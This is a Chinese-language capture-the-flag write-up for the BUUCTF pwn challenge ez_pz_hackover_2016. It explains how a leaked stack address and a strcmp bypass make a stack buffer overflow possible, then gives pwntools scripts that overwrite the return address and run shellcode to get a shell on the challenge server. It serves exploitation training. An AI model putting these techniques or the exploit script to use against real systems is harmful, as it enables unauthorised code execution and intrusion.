Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,開啟了RELRO保護,堆棧地址隨機化
沒有開啟nx保護,可利用寫入shellcode來獲取shell
一開始給我們輸出了參數s的地址
strcmp函數:
兩個字符串自左向右逐個字符相比(按ASCII值大小相比較),直到出現不同的字符或遇’\0’為止
也就是我們應該輸入 ‘crashme\x00’ 可以繞過這個if檢查,之后執行vuln函數
dest大小根本不是0x32,要動態調試看大小其實是 0x16
利用思路:
1.往s參數里寫入shellcode,執行vuln函數后讓dest造成溢出
2.將返回地址修改為shellcode的地址去執行
調試過程
1.找我們寫入的shellcode在棧上的地址位置
在ida里找一個nop指令來下斷點,我這邊是利用0x8048600這個地址的nop
from pwn import * p=process('./ez_pz_hackover_2016') context.log_level='debug'gdb.attach(p,'b *0x8048600')#利用gdb動調,在0x8048600處下了個斷點p.recvuntil('crash: ') stack=int(p.recv(10),16)#接收回顯的參數s在棧上的地址,長度是10,以16進制表示 print hex(stack)payload='crashme\x00'+'aaaaaa'#前面的crashme\x00繞過if判斷#后面的aaaa是測試數據,隨便輸入的,我們等等去棧上找它的地址#利用它找到返回地址在棧上的地址,將返回地址覆蓋為shellcode p.sendline(payload)pause()#linxu下的暫停程序命令按c執行下一步
輸入stack30查看棧
ebp的位置是0x38,我們輸入參數的位置是0x22.
看到了我們輸入的數據,‘ashme’,由于對齊的原因,沒有跟 ‘cr’ 連在一起,我們看它上一行0x63就是 ‘c’ ,0x72是 ‘r’
,由于小端序的原因,所以是這樣的
我們看左邊是0x20,但其實是0x22 ------- 0x7263f7f1 是從63開始讀入數據的 即 23 22 21 20
ebp距離我們的輸入點的距離是0x38-0x22=0x16;
shellcode應該寫在ebp之后(32位程序的ebp占4個字節),就是在0x16+0x4處
在覆蓋完ebp后的返回地址應該填寫指向shellcode的地址
payload=‘crashme\x00’+‘a’*(0x16+0x4-8)+p32(addr)
-8是 ‘crashme\x00’ 占用了8字節,+4是用來覆蓋ebp的
2.找到指向shellcode的地址
雖然地址會隨機化但是偏移量不會變
開始得到了一個chall函數s棧上的地址0xffe1d35c
它在參數s棧上的相對位置是0x20
返回地址在參數s棧上的相對位置是0x3c(ebp+4)
輸入點距離我們的返回地址的距離是0x3c-0x20=0x1c
用0xffe1d35c-0x1c來表示返回地址
from pwn import *r=remote('node3.buuoj.cn',26843) #p=process('./ez_pz_hackover_2016') context.log_level='debug'#gdb.attach(p,'b *0x8048600')r.recvuntil('crash: ') stack=int(r.recv(10),16) shellcode=asm(shellcraft.sh())#利用pwntools自動生成shellcode #print hex(stack)payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode r.sendline(payload)#pause()r.interactive()總結
以上是生活随笔為你收集整理的Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF ---pwndbg 调试常用命令
- 下一篇: Buuctf(misc) 后门查杀